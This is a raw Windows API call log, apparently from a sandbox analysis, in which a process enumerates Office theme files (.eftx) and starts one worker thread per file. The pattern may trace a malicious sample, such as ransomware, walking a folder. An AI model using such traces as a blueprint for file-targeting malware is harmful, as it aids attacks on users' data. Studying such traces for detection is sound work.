	[0269.449] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5791, dwReserved0=0x88, dwReserved1=0x0, cFileName="Concourse.eftx", cAlternateFileName="CONCOU~1.EFT")) returned 1
	[0269.449] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.450] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b74
	[0269.693] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.694] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72791b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a4db00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72791b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e0721, dwReserved0=0x88, dwReserved1=0x0, cFileName="Couture.eftx", cAlternateFileName="COUTUR~1.EFT")) returned 1
	[0269.694] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b78
	[0269.695] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.696] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x760ca200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x760ca200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4caa1, dwReserved0=0x88, dwReserved1=0x0, cFileName="Elemental.eftx", cAlternateFileName="ELEMEN~1.EFT")) returned 1
	[0269.696] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b7c
	[0269.698] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.698] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd252a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd252a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6023, dwReserved0=0x88, dwReserved1=0x0, cFileName="Equity.eftx", cAlternateFileName="EQUITY~1.EFT")) returned 1
	[0269.698] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b80
	[0269.700] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.700] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49f12100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x49f12100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3fde, dwReserved0=0x88, dwReserved1=0x0, cFileName="Essential.eftx", cAlternateFileName="ESSENT~1.EFT")) returned 1
	[0269.700] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.701] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b84
	[0269.702] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.702] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a02900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x79a02900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x52a4, dwReserved0=0x88, dwReserved1=0x0, cFileName="Executive.eftx", cAlternateFileName="EXECUT~1.EFT")) returned 1
	[0269.702] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b88
	[0269.754] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.755] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x144c3800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x144c3800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6818, dwReserved0=0x88, dwReserved1=0x0, cFileName="Flow.eftx", cAlternateFileName="FLOW~1.EFT")) returned 1
	[0269.755] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b8c
	[0269.757] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.757] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10b8b100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x10b8b100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4732, dwReserved0=0x88, dwReserved1=0x0, cFileName="Foundry.eftx", cAlternateFileName="FOUNDR~1.EFT")) returned 1
	[0269.757] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b90
	[0269.759] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.760] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x48cf, dwReserved0=0x88, dwReserved1=0x0, cFileName="Grid.eftx", cAlternateFileName="GRID~1.EFT")) returned 1
	[0269.760] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b94
	[0269.761] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.762] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x559e1, dwReserved0=0x88, dwReserved1=0x0, cFileName="Hardcover.eftx", cAlternateFileName="HARDCO~1.EFT")) returned 1
	[0269.762] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b98
	[0269.764] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.765] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d33b000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d33b000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x33892, dwReserved0=0x88, dwReserved1=0x0, cFileName="Horizon.eftx", cAlternateFileName="HORIZO~1.EFT")) returned 1
	[0269.765] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b9c
	[0269.766] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.767] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17dfbf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17dfbf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9a7a, dwReserved0=0x88, dwReserved1=0x0, cFileName="Median.eftx", cAlternateFileName="MEDIAN~1.EFT")) returned 1
	[0269.767] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ba0
	[0269.769] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.769] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5e35, dwReserved0=0x88, dwReserved1=0x0, cFileName="Metro.eftx", cAlternateFileName="METRO~1.EFT")) returned 1
	[0269.769] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ba4
	[0269.771] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.772] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd5a000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1dd5a000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa95d, dwReserved0=0x88, dwReserved1=0x0, cFileName="Module.eftx", cAlternateFileName="MODULE~1.EFT")) returned 1
	[0269.772] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ba8
	[0269.774] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.774] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c73700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x80c73700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8e301, dwReserved0=0x88, dwReserved1=0x0, cFileName="Newsprint.eftx", cAlternateFileName="NEWSPR~1.EFT")) returned 1
	[0269.774] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bac
	[0269.776] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.777] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21692700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x21692700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8059, dwReserved0=0x88, dwReserved1=0x0, cFileName="Opulent.eftx", cAlternateFileName="OPULEN~1.EFT")) returned 1
	[0269.777] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0269.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bb0
	[0270.086] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.087] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24fcae00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x24fcae00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa8b9, dwReserved0=0x88, dwReserved1=0x0, cFileName="Oriel.eftx", cAlternateFileName="ORIEL~1.EFT")) returned 1
	[0270.087] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bbc
	[0270.089] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.089] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28903500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28903500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9fed, dwReserved0=0x88, dwReserved1=0x0, cFileName="Origin.eftx", cAlternateFileName="ORIGIN~1.EFT")) returned 1
	[0270.089] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bc0
	[0270.091] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.092] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bf0a20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x37d8a, dwReserved0=0x88, dwReserved1=0x0, cFileName="Paper.eftx", cAlternateFileName="PAPER~1.EFT")) returned 1
	[0270.092] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.092] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bc4
	[0270.094] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.095] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x537a8900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x537a8900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x53af, dwReserved0=0x88, dwReserved1=0x0, cFileName="Perspective.eftx", cAlternateFileName="PERSPE~1.EFT")) returned 1
	[0270.095] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bc8
	[0270.096] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.097] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x583f3d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x583f3d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbef29, dwReserved0=0x88, dwReserved1=0x0, cFileName="Pushpin.eftx", cAlternateFileName="PUSHPI~1.EFT")) returned 1
	[0270.097] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bcc
	[0270.099] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.100] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x845abe00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x845abe00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x88, dwReserved1=0x0, cFileName="Slipstream.eftx", cAlternateFileName="SLIPST~1.EFT")) returned 1
	[0270.100] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bd0
	[0270.101] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.102] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e861600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2e861600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c85, dwReserved0=0x88, dwReserved1=0x0, cFileName="Solstice.eftx", cAlternateFileName="SOLSTI~1.EFT")) returned 1
	[0270.102] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bd4
	[0270.104] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.104] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32199d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32199d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5c8c, dwReserved0=0x88, dwReserved1=0x0, cFileName="Technic.eftx", cAlternateFileName="TECHNI~1.EFT")) returned 1
	[0270.105] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bd8
	[0270.106] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.107] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bd2c400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5bd2c400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa14f, dwReserved0=0x88, dwReserved1=0x0, cFileName="Thatch.eftx", cAlternateFileName="THATCH~1.EFT")) returned 1
	[0270.107] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bdc
	[0270.109] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.110] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ad2400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35ad2400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1fb84, dwReserved0=0x88, dwReserved1=0x0, cFileName="Trek.eftx", cAlternateFileName="TREK~1.EFT")) returned 1
	[0270.110] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2be0
	[0270.112] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
